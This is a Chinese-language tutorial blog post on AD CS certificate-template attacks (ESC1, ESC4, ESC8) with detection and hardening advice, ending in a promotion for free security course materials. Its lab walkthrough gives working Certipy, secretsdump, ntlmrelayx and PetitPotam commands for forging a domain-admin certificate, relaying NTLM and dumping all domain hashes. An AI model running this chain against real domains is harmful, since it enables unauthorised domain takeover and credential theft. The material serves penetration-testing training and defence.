免责声明本文仅用于授权渗透测试、红蓝对抗、安全运维学习所有实验请在自建隔离靶场完成。未经授权对企业 AD‑CS 服务进行探测、利用属于违法行为请严格遵守网络安全法律法规。前言每年护网行动中AD‑CSActive Directory Certificate Services活动目录证书服务都是红队拿下域控最高频突破口之一。很多企业管理员对 AD‑CS 认知很浅它是 Windows 自带 PKI 证书服务用于域内智能卡登录、Windows Hello、SSL 证书、设备身份认证业务上必须部署但模板配置稍微出错普通域用户直接一路提权到域管理员。很多人有误区AD‑CS 不是 CVE 漏洞绝大多数攻击来源于人为配置错误不是系统 0day。靶场和护网实战最常见 ESC1、ESC4、ESC8拿到一个普通域账号不需要本机管理员权限不需要爆破密码申请一张证书凭借 PKINIT 协议拿到 TGT 票据直接 DCSync 导出全部域哈希完成域控接管还能留下持久化后门证书蓝队排查难度高。网上很多教程只扔命令没有讲底层原理分不清各个 ESC 攻击触发条件加固只打补丁不修复证书模板问题依旧存在。本文万字长文完整拆解AD‑CS 基础概念为什么护网里它是高危突破口PKINIT 证书登录底层原理搞懂证书为什么可以替代密码ESC1/ESC2/ESC3/ESC4/ESC8 五大高频攻击原理、靶场完整复现Certipy 全套工具实操信息搜集、利用、证书认证攻击链完整拆解红队实战链路蓝队检测手段、Windows 事件日志、完整加固修复方案企业运维高频踩坑误区。适合内网渗透学习者、红队、等保测评、运维、蓝队应急工程师阅读。一、什么是 AD‑CS为什么护网极易被突破1.1 AD‑CS 是什么AD‑CS 是微软集成在 Active Directory 里面的企业级 PKI 证书颁发服务部署在 CA证书颁发机构服务器上通常域环境会部署企业根 CA给域内用户、计算机签发数字证书。业务常见用途智能卡登录、Windows Hello for Business 身份认证域内机器 SSL/TLS 证书加密文件 EFS设备身份校验、VPN 身份认证。关键点Kerberos 协议支持 PKINIT 认证合法证书可以替代账号密码向 KDC 申请 TGT 票据。攻击者拿到伪造身份证书就等同于拿到对应账号凭证不需要明文密码、不需要 NTLM Hash直接完成域身份认证。1.2 为什么 AD‑CS 成为护网高频突破口① 部署普及率极高运维普遍忽视审计大量政企、国企、事业单位域环境为了 Windows Hello、VPN 业务默认部署 AD‑CS。很多运维安装完之后再也没有审计证书模板配置模板继承多年前 Windows2008 遗留不安全配置风险常年潜伏无人发现。② 攻击门槛极低普通域用户即可利用绝大多数 AD‑CS 高危利用只需要一个合法普通域域账号不需要本地管理员权限不需要漏洞 EXP不需要爆破密码。钓鱼拿到普通员工账号扫描发现存在危险模板几分钟直接拿下域控护网红队极其偏爱这条链路。③ 攻击流量隐蔽传统 EDR 很难拦截攻击过程大部分是 LDAP 查询、证书申请请求属于 Windows 标准合法业务请求没有恶意可执行文件不触发常见病毒特征。攻击者拿到 pfx 证书文件可以离线使用实现持久化就算用户修改账号密码证书依旧有效。④ 打补丁不等于修复 AD‑CS 配置漏洞很多运维认为安装 Windows 月度安全更新就可以防御 AD‑CS 攻击。ESC 系列全部属于配置缺陷微软不会推送补丁自动修复模板必须人工修改模板属性。就算系统全补丁错误模板依旧可以被利用这是企业最严重认知误区。⑤ 攻击路径多ESC1‑ESC8 多条链路不止 ESC1ESC4 修改模板 ACL、ESC8 NTLM 中继 Web 注册接口多种攻击方式只要满足任意一套条件就可以实现域提权。BloodHound 可以直接识别 AD‑CS 错误配置红队自动化工具 Certipy 一键扫描发现风险模板。1.3 PKINIT 核心原理理解证书登录 KerberosPKINIT 是 Kerberos 协议扩展允许客户端使用 X.509 数字证书代替账号密码向 KDC域控 88 端口请求 TGT 票据。完整流程CA 服务器签发一张带有Client Authentication客户端身份认证EKU 扩展密钥用法的证书证书内 UPN 字段填写域账号的 userPrincipalName例如Administratorcompany.local攻击者拿着 pfx 证书文件向域控 88 端口发起 PKINIT 请求KDC 校验证书签名来自企业受信任 CA校验 EKU 身份认证权限校验通过返回该账号的 TGT 票据拿到 TGT 之后可以正常做 Kerberos 交互执行 DCSync 导出全部域账号哈希。核心风险点如果 CA 签发证书的时候允许申请者自定义证书内 UPN/SAN使用者备用名称攻击者就可以申请一张 UPN 为域管理员的证书实现身份伪造。二、AD‑CS ESC 系列攻击总览攻击编号核心描述触发关键条件实战出现频率ESC1证书模板允许申请者自定义 SAN带客户端认证 EKU普通用户拥有注册权限ENROLLEE_SUPPLIES_SUBJECT标志位开启Client Authentication EKU普通域用户 Enroll 注册权限不需要管理者审批⭐⭐⭐⭐⭐护网最高频ESC2模板 EKU 为 Any Purpose任意用途证书可以做任何操作扩展密钥用途设置为任意用途普通用户可注册⭐⭐ESC3Enrollment Agent 注册代理模板可以代理其他用户申请证书证书请求代理 EKU普通用户拥有注册权限⭐⭐ESC4低权限用户拥有证书模板写入 ACL 权限可以修改模板属性人为改成 ESC1 漏洞模板用户对模板对象拥有 GenericWrite/GenericAll 权限⭐⭐⭐ESC8NTLM Relay 中继攻击 AD‑CS Web 注册接口 /certsrvWeb 注册接口使用 HTTP未开启 EPA 扩展保护认证存在可以强制 NTLM 认证的接口 (PetitPotam/PrinterBug)⭐⭐⭐还有 ESC5、ESC6、ESC7真实环境出现概率很低本文重点讲解护网实战高频 ESC1、ESC4、ESC8。三、靶场完整复现ESC1 漏洞护网最常见3.1 ESC1 漏洞完整触发条件缺一不可证书模板开启标志位CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT申请者提供主题允许申请证书的时候自定义 SAN 使用者备用名称模板扩展密钥用法 EKU 包含Client Authentication(1.3.6.1.5.5.7.3.2)客户端身份认证或者智能卡登录普通域用户拥有该模板的 Enroll注册权限模板没有开启 “需要管理者审批证书申请”CA 企业根 CA 信任该模板签发证书。满足全部条件普通域用户提交证书申请在 SAN 字段填写域管理员 Administrator 的 UPNCA 直接签发一张代表域管理员身份的证书。攻击者拿到 pfx 证书PKINIT 向域控申请 TGT完成提权接管域控。注意这不是 Windows 系统 bug是模板配置错误。干净默认 Windows 模板不会开启ENROLLEE_SUPPLIES_SUBJECT很多运维复制内置 User 模板修改的时候勾选错误选项造成风险。3.2 靶场环境信息靶场环境域名lab.local域控 DC01192.168.10.10CA 证书服务器CA01.lab.local普通域账号user01 / Password123仅属于 Domain Users 普通域用户组本机非管理员存在漏洞模板Vuln‑User‑Template命中 ESC1 全部条件。工具Certipy‑adkali专门用于 AD‑CS 枚举和攻击工具。步骤 1信息枚举扫描 AD‑CS 与证书模板Certipy 枚举整个域 CA 服务器、全部证书模板自动检测 ESC1‑ESC8 风险certipy-ad find -u user01lab.local -p Password123 -dc-ip 192.168.10.10执行完成输出大量模板信息如果命中 ESC1输出会标记[!] Vulnerable to ESC1同时打印该模板关键属性Template Name : Vuln‑User‑Template Enrollee Supplies Subject: True Client Authentication EKU: True Enrollment Permissions : Domain Users: Enroll Manager Approval : FalseBloodHound 同样可以导入 AD‑CS 数据图谱直接标记 ESC1 风险模板节点。步骤 2利用 ESC1 申请伪造域管理员身份证书指定漏洞模板在‑upn参数填写域管理员账号 UPN向 CA 服务器提交证书申请certipy-ad req -u user01lab.local -p Password123 -dc-ip 192.168.10.10 \ -ca CA01‑CA -template Vuln‑User‑Template -upn administratorlab.local申请成功之后工具本地输出 pfx 证书文件例如administrator.pfx同时设置证书密码。重点提交申请的账号是普通 user01但是证书内身份是 administratorCA 因为模板配置缺陷直接签发没有校验申请者身份和 SAN 身份是否匹配。步骤 3使用 pfx 证书 PKINIT 认证获取 NT Hash拿到 pfx 证书不需要密码直接向域控执行 PKINIT导出 administrator 账号 NTLM 哈希certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.10.10执行成功输出域管理员 NT Hash。步骤 4DCSync 导出域内全部账号哈希拿到管理员 NTLM Hashimpacket 执行 DCSync完整接管整个域secretsdump.py lab.local/administrator192.168.10.10 -hashes NTLM哈希完整攻击链路总结普通域账号 → LDAP 扫描发现 ESC1 模板 → 申请 SAN 为域管理员证书 → PKINIT 拿到 TGT → DCSync 拿下域控。全程不需要攻陷任何一台 Windows 主机Kali 远程就可以完成整套攻击这也是护网红队最喜欢的攻击链路。3.3 ESC4 攻击原理与复现ESC4 场景普通域用户没有直接的模板注册权限但是对证书模板对象拥有 GenericWrite/GenericAll ACL 写权限。攻击逻辑攻击者拥有模板写权限修改模板属性手动开启ENROLLEE_SUPPLIES_SUBJECT添加 Client Authentication EKU把 Domain Users 加入 Enroll 注册权限原本安全模板被改成 ESC1 漏洞模板之后执行 ESC1 全套攻击申请域管理员证书。风险来源运维配置模板 ACL 权限过于宽松把模板修改权限给到普通业务人员账号。BloodHound 可以直接看到该高危 ACL 边。Certipy 修改模板简易示例certipy-ad template -u user01lab.local -p Password123 -template Safe‑Template --set-esc1修改完成模板变成 ESC1 可利用状态后续操作和 ESC1 完全一致。四、ESC8 攻击原理复现NTLM Relay 到 AD‑CS Web 注册ESC8 和模板无关不需要存在漏洞证书模板利用 AD‑CS 自带 Web 注册服务/certsrvHTTP 接口接受 NTLM 认证没有开启 EPA 扩展身份保护配合强制认证实现攻击。4.1 ESC8 攻击条件CA 服务器开启 Web 证书注册服务 IIS/certsrv使用 HTTP不是 HTTPSWeb 站点 NTLM 认证未开启 EPAExtended Protection for Authentication内网存在强制认证漏洞比如 PetitPotamMS‑EFSRPC可以诱导域控计算机账号向攻击者 IP 发起 NTLM 认证攻击者和 CA 服务器网络互通。攻击链路攻击者 kali 开启 ntlmrelayx 中继使用 PetitPotam 触发域控机器账号向 kali 主机发起 NTLM 认证ntlmrelayx 把域控机器账号的 NTLM 认证中继转发到 CA 服务器http://CA01/certsrv/certfnsh.asp以域控机器账号身份向 CA 申请Kerberos Authentication计算机证书获取域控机器账号 pfx 证书使用该证书 PKINIT 拿到域控机器账号 TGT执行 DCSync 导出全部域哈希完成域控接管。ESC8 最恐怖的点证书模板全部配置安全只要 Web 注册接口配置错误依旧可以沦陷域控。很多企业加固所有模板却忽略 IIS Web 注册站点配置。靶场复现命令终端 1 开启中继impacket-ntlmrelayx --adcs -smb2support -t http://192.168.10.11/certsrv/certfnsh.asp终端 2 执行 PetitPotam诱导域控向 kali (192.168.10.20) 认证petitpotam.py 192.168.10.20 192.168.10.10中继成功直接拿到域控机器账号 pfx 证书后续 certipy‑ad auth 使用该证书 DCSync。五、ESC3、ESC2 简单原理ESC2模板 EKU 设置为Any Purpose任意用途证书可以用于任意身份认证。普通用户拥有注册权限申请普通用户证书该证书可以伪装成任意账号。现实环境出现概率低。ESC3 Enrollment Agent 注册代理模板拥有Certificate Request AgentEKU注册代理。攻击者先申请代理证书之后拿着代理证书代替域内任意其他用户提交证书申请直接申请域管理员证书。需要专门代理模板企业很少部署护网遇见不多。六、红队完整实战工作流护网真实挖洞流程获取普通域账号密码钓鱼、密码喷洒内网 LDAP 扫描寻找域内 AD‑CS 证书服务器Certipy‑ad find 枚举全部 CA、全部证书模板自动识别 ESC1/ESC2/ESC3/ESC4BloodHound 导入 AD‑CS 数据检查模板 ACL 权限确认 ESC4 风险优先尝试 ESC1如果存在直接申请伪造管理员 pfx 证书如果没有 ESC1检查是否可以 ESC4 修改模板制造 ESC1 条件检查 CA Web 注册服务测试 ESC8 NTLM Relay 攻击条件获取 pfx 证书PKINIT 拿到高权限 TGTDCSync 导出全部域哈希pfx 证书离线保存作为持久化后门即使账号修改密码证书依旧可用。OPSEC 注意证书申请会在 CA 服务器产生 4886、4887 事件日志红蓝对抗需要留意日志告警。七、蓝队如何检测 AD‑CS 攻击行为7.1 Windows 关键事件 IDCA 服务器开启审计CA 证书服务器必须开启证书服务审计策略否则没有日志记录。事件 ID含义检测要点4886证书申请提交记录申请者账号、模板名称重点监控普通账号申请高权限模板对比申请者账号和证书 SAN/UPN 身份是否不一致ESC1 攻击核心特征申请者 user01证书 SAN 写 Administrator4887证书颁发成功证书成功签发提取证书 SAN/UPN 字段4888证书申请拒绝异常大量拒绝请求需要告警⚠️重点告警规则证书申请者账号和证书 SAN/UPN 身份不相同这是 ESC1 攻击最典型特征。普通合法业务申请申请者 UPN 和证书 UPN 应该一致如果普通用户申请一张 UPN 是域管理员的证书一定是攻击行为。7.2 巡检命令自查环境是否存在风险模板Windows 域内机器执行查找 ESC1 风险模板# 需要RSAT AD模块 Get‑ADObject -Filter {(objectclass -eq pKICertificateTemplate)} -Properties * | Where‑Object {$_.msPKI‑Enrollment‑Flags -band 0x40} | Select‑Object name,msPKI‑Certificate‑Template‑EKU,msPKI‑Enrollment‑FlagsmsPKI‑Enrollment‑Flags包含 0x40代表开启ENROLLEE_SUPPLIES_SUBJECT。kali Certipy 一键审计输出报告certipy-ad find -u auditlab.local -p xxx --output audit.json7.3 BloodHound 审计 AD‑CS 风险BloodHound CE 会识别 AD‑CS 对象查询内置查询Find vulnerable AD CS templates一键列出 ESC1‑ESC4 风险模板检查证书模板 ACL是否普通用户拥有 GenericWrite/GenericAll。7.4 ESC8 检测监控 IIS 日志大量来自普通工作站 IP 访问/certsrv/certfnsh.asp并且使用 NTLM 登录监控域控机器账号异常向外部主机发起 NTLM 认证PetitPotam 行为。八、完整加固修复方案微软官方建议重要安装 Windows 补丁不能修复模板配置缺陷必须手动修改模板属性。8.1 ESC1 核心修复手段打开证书模板管理器certtmpl.msc找到风险模板属性→【使用者】标签页取消勾选 “请求者提供主题信息”关闭 ENROLLEE_SUPPLIES_SUBJECT 标志位【安全】标签收紧注册 Enroll 权限不要给 Domain Users 全体普通域用户注册权限只给业务需要的安全组如果业务确实需要允许自定义主题开启【需要管理者审批证书申请】扩展密钥 EKU 检查不需要客户端认证就删除 Client Authentication EKU。最佳实践业务上尽量不要开启 “请求者提供主题信息”90% ESC1 漏洞来源于这个勾选框。8.2 ESC4 修复收紧证书模板 ACL 权限所有证书模板对象AD 安全权限审计普通域用户、Domain Users 组不能拥有模板 GenericWrite、GenericAll 写入权限证书模板修改权限只给到 Domain Admins、CA 管理员少量账号BloodHound 定期扫描 AD‑CS 模板 ACL。8.3 ESC8 修复Web 注册接口IIS 管理器打开 CA Web 注册站点certsrv虚拟目录身份认证设置启用 EPA 扩展保护认证设置为 Require 必须优先全部使用 HTTPS直接关闭 HTTP 访问如果业务允许内网不需要 Web 注册接口就直接卸载 AD‑CS Web 注册角色从根源消除 ESC8 攻击面。微软 KB5005413 专门缓解 AD‑CS NTLM 中继攻击核心就是开启 EPA 扩展保护认证。8.4 通用加固清单CA 服务器开启完整证书服务审计策略收集 4886、4887 事件接入 SIEM 告警定期使用 Certipy 或者 BloodHound 做 AD‑CS 风险审计不使用的废弃证书模板直接删除禁止模板 EKU 设置为 Any Purpose 任意用途企业根 CA、企业从属 CA 服务器做权限隔离高权限账号不要登录 CA 服务器以外机器监控域内 pfx 证书文件落地、异常证书申请行为禁止普通域用户对证书模板对象拥有写入权限。九、企业运维高频踩坑误区误区 1系统打全补丁就不怕 AD‑CS 攻击❌错误。ESC1/ESC4 属于配置错误不是代码漏洞Windows 安全更新不会自动修改证书模板打补丁之后漏洞依旧存在。误区 2ESC1 漏洞是 User 内置模板有问题❌Windows 内置 User 模板默认不会开启请求者提供主题信息大部分漏洞模板是运维复制内置模板之后人为勾选错误选项制造出来。误区 3证书攻击需要域管理员权限才可以利用❌ESC1 只需要普通域账号不需要管理员权限远程 Kali 即可完成整套攻击这也是护网危害巨大的根本原因。误区 4加固完模板就不用管 Web 注册服务❌ESC8 攻击和证书模板无关模板全部安全HTTP 的 certsrv 接口依旧会被中继攻击很多企业加固漏掉这个点。误区 5pfx 证书拿到之后修改账号密码就能失效后门❌pfx 证书本身是独立凭证账号密码修改不会让证书失效。必须在 CA 服务器吊销恶意证书否则攻击者依旧可以使用证书登录。吊销证书操作CA 管理控制台证书吊销列表导入恶意证书序列号执行吊销更新 CRL 证书吊销列表。十、总结AD‑CSActive Directory Certificate Services之所以成为护网行动域控高频突破口核心不是 0day 漏洞而是大量企业遗留的证书模板配置缺陷。ESC1 是实战最高频普通域账号利用模板允许申请者自定义 SAN申请伪造域管理员身份 pfx 证书依靠 Kerberos PKINIT 协议直接拿到域控权限攻击隐蔽门槛极低。ESC4 通过宽松 ACL 篡改模板制造 ESC1 条件ESC8 不依赖模板Web 注册 HTTP 接口配合 NTLM 中继拿下域控。很多企业只关注补丁更新忽略 AD‑CS 证书模板审计攻击者拿到普通员工账号就可以长驱直入接管整个 AD 域。对于红队护网内网渗透拿到普通域账号第一件事扫描域内 AD‑CS 服务Certipy 枚举证书模板优先检查 ESC1 风险往往可以快速拿到域控权限。对于蓝队运维关闭不必要模板的 “请求者提供主题信息” 选项收紧模板注册 ACL不要给全体普通域用户注册权限Web 注册接口开启 EPA优先 HTTPS不需要则直接卸载 Web 注册组件CA 服务器开启审计监控 4886/4887 证书申请事件重点告警【申请者账号与证书 SAN 身份不一致】定期审计全部证书模板与 ACL 权限。证书攻击是 AD 域安全重中之重就算账号密码防护做得再好一旦 AD‑CS 配置失守整个域信任体系直接被摧毁。最后关于网络安全技术储备学好网络安全不论是就业还是做副业赚钱都不错但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料给那些想学习网络安全的小伙伴们一点帮助对于0基础小白入门如果你是零基础小白想快速入门网络安全是可以考虑的。一方面是学习时间相对较短学习内容更全面更集中。二方面是可以找到适合自己的学习方案包括网安成长学习路线图、SRC黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全需要的可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】1.成长路线图学习规划要学习一门新的技术作为新手一定要先学习成长路线图方向不对努力白费。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。2.网安入门到进阶视频教程很多朋友都不喜欢晦涩的文字我也为大家准备了视频教程其中一共有21个章节每个章节都是当前板块的精华浓缩。全套教程文末领取哈3.SRC黑客文档大家最喜欢也是最关心的SRC技术文籍黑客技术也有收录SRC技术文籍黑客资料由于是敏感资源这里不能直接展示哦全套教程文末领取哈4.护网行动资料其中关于HW护网行动也准备了对应的资料这些内容可相当于比赛的金手指5.黑客必读书单随着互联网技术的飞速发展网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等以其强大的语言理解和防御能力正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。6.网络安全岗面试题合集当你自学到这里你就要开始思考找工作的事情了而工作绕不开的就是真题和面试题。这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】